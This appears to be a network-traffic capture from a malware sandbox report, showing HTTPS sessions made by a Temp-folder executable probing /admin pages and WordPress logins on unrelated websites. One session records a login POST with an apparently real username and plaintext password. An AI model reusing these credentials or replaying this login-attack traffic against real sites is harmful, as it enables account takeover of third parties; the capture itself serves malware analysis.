icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	51248	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	178	OUT	GET /admin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	922	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038419.5181657351050212110 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:39 GMT Age: 1 X-Served-By: cache-dfw-kdfw8210021-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLk1Uxi5aVwrmRyfWZ8T7SgAMbwluI1yUDJty9McxOlfY,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:39 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-12-20 02:13:39 UTC	95	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: an> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	51245	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	175	OUT	GET /admin HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	445	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 53 Location: https://www.geoffreynolds.com.au/admin Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:39 GMT X-Served-By: cache-gnv1820024-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038420.500096,VS0,VE32 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:39 UTC	53	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 61 64 6d 69 6e Data Ascii: Redirecting to https://www.geoffreynolds.com.au/admin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	51203	217.19.254.237	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	407	OUT	POST /wp-login.php HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 Content-Length: 150 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:39 UTC	150	OUT	Data Raw: 6c 6f 67 3d 61 6c 6c 65 6e 2e 73 68 65 66 66 69 65 6c 64 25 34 30 74 67 63 61 6e 2e 63 6f 6d 26 70 77 64 3d 64 65 73 66 6f 72 64 6a 31 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=allen.sheffield%40tgcan.com&pwd=desfordj1&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:40 UTC	402	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:39 GMT Connection: close Content-Length: 8878
2023-12-20 02:13:40 UTC	8878	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	51400	104.26.7.37	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:39 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:39 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hFohFyF6lcSG5gM%2B7C%2B%2Fry9%2Bg9hyCjL1Bx5Jo7WAYf41jWulKpXgO07yYBum5Epnoy1IfYKXFnUlEXwZAYtZVrQHXs1mnLJdIs6e6wzZ%2BQ6iVZLJfer6ojGmNUBn57VEvu6NBbo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e0a98bd0a2a-MIA
2023-12-20 02:13:39 UTC	569	IN	Data Raw: 37 63 38 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 7c82<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d Data Ascii: s" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b Data Ascii: com/css?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 68 64 76 33 2d 69 6d 67 2f 73 65 61 72 63 68 2d 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 Data Ascii: hdv3-img/search-icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_searc
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 73 73 3d 22 68 65 61 64 65 72 2d 74 65 6c 20 68 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d Data Ascii: ss="header-tel hideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 Data Ascii: </a></div><div class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="http
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 Data Ascii: left:0px; min-width:273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="cir
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 70 61 6e 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e Data Ascii: pan><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.pn
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 Data Ascii: ass="container"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><p
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 Data Ascii: ass="circularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	51329	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	302	OUT	GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1 Host: cgi-sys.server294.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php
2023-12-20 02:13:39 UTC	166	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html
